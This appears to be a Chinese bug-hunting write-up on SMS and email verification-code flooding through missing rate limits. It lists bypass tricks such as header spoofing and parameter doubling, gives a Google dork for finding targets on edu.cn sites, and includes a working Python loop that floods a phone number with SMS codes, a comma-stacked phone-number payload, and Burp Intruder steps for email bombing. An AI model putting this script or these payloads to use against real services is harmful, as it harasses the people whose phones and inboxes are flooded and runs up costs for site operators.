原理
服务器程序并未对请求次数进行限制,或者是限制不严格导致,导致可以大量重复发送短信验证码。会对其他用户造成骚扰或使厂商的运营商短信费用的增加,造成损失。
绕过思路:
空格,大小写绕过,修改cookie,修改返回值,多次叠加参数绕过,修改XXF头绕过等可参考,也可配合并发工具Turbo Intruder进行测试
Google语法:
inurl:edu.cn 验证码
短信hongzha案例:
我们日常发验证码页面抓包,点击发送。成功发送一条短信,当再次点击时候,已经返回为空了。这里我们猜测可能是那一部分做了限制。
##审核不让配图啊 这次没图了
我们尝试双写,发现可以绕过,而且发送了两条短信,再次发送的时候已经没有反应了。
当时有两种思路:一是写一个Python脚本进行post循环发包,循环的过程中后面再双写一遍;二是直接写很多遍手机号用逗号隔开。
第一种方法 Python脚本
# -*- coding: utf-8 -*- ''' @Time : 2023-03-10 9:01 @Author : whgojp @File : attack.py #使用request post发包 ''' import requests from lxpy import copy_headers_dict url = "www.xxx.com" request_header = """ #这里是请求头参数 字符串直接复制过来就行 """ header = copy_headers_dict(request_header) # print(header) mobileNumber = xxxxxxxxxxx #这里填手机号 totalMessageAttack = 0 for i in range(5): #循环次数自己可以设置 循环五次就是:1+2+3+4+5=19 totalMessageAttack += i mobileNumber = str(mobileNumber) + ',,'+str(format(mobileNumber)) payload = dict(sjhm=mobileNumber) try: response = requests.post(url,headers=header,verify=False,data=payload) #verify=False表示忽略对 SSL 证书的验证,但是仍然会有警告 print(response.status_code) except Exception as e: print("出错了啊:"+str(e)) print("一共发送了"+str(totalMessageAttack)+"次短信!")
第二种方法:
mobile=xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,
邮箱hongzha案例:
某学习注册新用户窗口,抓包发送到intruder模块
设置intruder payload位置
尝试发送六十条进行测试:
emmm 短信hongzha 好像不收